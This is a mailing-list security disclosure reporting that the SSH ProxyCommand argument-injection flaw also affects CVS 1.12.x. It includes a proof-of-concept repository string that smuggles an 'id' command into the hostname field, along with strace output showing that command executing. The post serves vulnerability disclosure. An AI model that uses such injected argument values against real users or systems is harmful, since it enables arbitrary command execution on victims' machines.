Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Thu, 10 Aug 2017 17:32:24 -0600
From: Hank Leininger <>
Subject: CVS and ssh command injection (see CVE-2017-1000117, etc.)

SSH command injection via -o... impacts CVS 1.12.x as well, if anybody
still cares.

The announcement for git mentions CVE-2017-1000117, CVE-2017-9800, and
CVE-2017-1000116 for git, Subversion, Mercurial, but makes no mention
of CVS.  None of those CVEs are currently viewable at , and I don't know if
these were discussed on a private list prior to publication, and
whether that discussion included CVS.

CVS can be configured to use SSH for remote repos, such as with
CVS_RSH=ssh.  In which case specifying a hostname of -o... triggers the
same sort of thing:

  $ strace -f -e execve cvs -d '-oProxyCommand=id;localhost:/bar' co yada 2>&1 | egrep id
  execve("/usr/bin/cvs", ["cvs", "-d", "-oProxyCommand=id;localhost:/bar", "co", "yada"], 0x7ffe69f75a68 /* 139 vars */) = 0
  [pid 20003] execve("/usr/local/bin/ssh", ["ssh", "-oProxyCommand=id;localhost", "cvs server"], 0x5fb1fc8420 /* 141 vars */) = -1 ENOENT (No such file or directory)
  [pid 20003] execve("/usr/bin/ssh", ["ssh", "-oProxyCommand=id;localhost", "cvs server"], 0x5fb1fc8420 /* 141 vars */) = 0
  [pid 20004] execve("/bin/bash", ["/bin/bash", "-c", "exec id;localhost"], 0x32af5f10d0 /* 141 vars */) = 0
  [pid 20004] execve("/usr/bin/id", ["id"], 0xec92226ae0 /* 141 vars */) = 0
  [pid 20004] +++ exited with 0 +++
  [pid 20003] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20004, si_uid=3612, si_status=0, si_utime=0, si_stime=0} ---
  ssh_exchange_identification: Connection closed by remote host
  [pid 20003] +++ exited with 255 +++
  --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20003, si_uid=3612, si_status=255, si_utime=0, si_stime=0} ---

Tested vanilla 1.12.13, and Gentoo 1.12.12-r11.

Of course, the repo specification looks very odd, so tricking a victim
may be harder than for SCM tools where it's prefixed by an ssh:// or
masked behind a redirect.  Plus, first you would have find a victim.



Hank Leininger <>
5F6D DCC8 FF53 8093 EC39  127B 091E 7F7C E898 E86C

Download attachment "signature.asc" of type "application/pgp-signature" (489 bytes)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.